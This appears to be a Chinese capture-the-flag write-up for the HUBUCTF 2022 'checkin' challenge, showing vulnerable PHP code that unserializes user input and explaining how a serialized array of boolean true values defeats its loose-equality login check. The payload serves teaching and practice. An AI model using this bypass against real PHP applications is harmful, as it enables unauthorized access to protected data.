[HUBUCTF 2022 新生赛]checkin

[HUBUCTF 2022 新生赛]checkin wp

进入页面,代码如下:

复制代码
<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>

一开始看得有点懵,反序列化题怎么没有类呢,然后就在找类在哪,没找到。后来看了大佬的 wp 才理清了思路。

代码分析

注意看反序列化之后的值赋值给了 $data_unserialize ,按常理来说,$data_unserialize 应该是个对象,但假如是这样的话,后面这个调用方式就让我看不懂了:$data_unserialize['username'] ,难道说这是在调用 $data_unserialize 对象中的 username 属性?PHP 有这种调用方式吗?看完大佬的 wp ,发现这里要反序列化的应该是数组才对,这样用键值对的方式调用数组中的值才合理。

除此之外,本题还有一个点,提示中有这样一句话:

复制代码
include("flag.php");//here I changed those two 

一开始不理解,后面发现这句话指的是在 flag.php 文件中修改了 username 与 password 。这样我们就不知道用户名和密码了,考查的是 PHP 的弱比较。

PHP 关联数组

普通的 PHP 数组(即数值数组):

复制代码
$cars=array("Volvo","BMW","Toyota");

键从 0 开始:

复制代码
$cars[0]==="Volvo";
$cars[1]==="BMW";
$cars[2]==="Toyota";

PHP 关联数组:

复制代码
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");

自定义键名:

复制代码
$age['Peter']==="35";
$age['Ben']==="37";
$age['Joe']==="43"; 

PHP 弱比较绕过

可以参考:PHP弱类型比较总结

在弱比较中,布尔值 true 和任何值弱比较都相等,除了 0 和 false 。

这是因为在 PHP 弱比较时会发生类型转换,若一端为布尔类型,另一端为其他类型,在转换时会将其他类型转换为布尔类型,而在转换的时候,非 0 为 true ,0 为 false 。true 不等于 false 。

因此,将数组中的值全部设置为布尔值 true 即可。

payload

构造如下代码:

复制代码
<?php
$demo=array("username"=>true,"password"=>true);
echo serialize($demo);
?>

输出结果:

复制代码
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

这就是最终的 payload 了。

拿到 flag :

相关推荐
数据牧羊人的成长笔记3 小时前
Hadoop 分布式计算MapReduce和资源管理Yarn 2
开发语言·php
报错小能手4 小时前
计算机网络自顶向下方法60——网络安全 详解TLS(传输层安全协议)
计算机网络·安全·web安全
JaguarJack4 小时前
PHP True Async RFC 被拒——原生异步离 PHP 还有多远?
php·服务端
Whoami!5 小时前
⸢ 拾陆-Ⅵ⸥⤳ 安全数智化建设:安全管控平台
网络安全·信息安全·安全管控平台
JSON_L10 小时前
Fastadmin 使用RabbitMQ队列
rabbitmq·php·fastadmin
Gerardisite12 小时前
如何在微信个人号开发中有效管理API接口?
java·开发语言·python·微信·php
lingggggaaaa13 小时前
免杀对抗——C2远控篇&C&C++&DLL注入&过内存核晶&镂空新增&白加黑链&签名程序劫持
c语言·c++·学习·安全·网络安全·免杀对抗
jenchoi41316 小时前
【2025-11-23】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·数据库·安全·web安全·网络安全
独行soc17 小时前
2025年渗透测试面试题总结-258(题目+回答)
网络·python·安全·web安全·渗透测试·安全狮
AI绘画小3318 小时前
网络安全(黑客技术)—2025自学手册
网络·安全·web安全·网络安全·渗透测试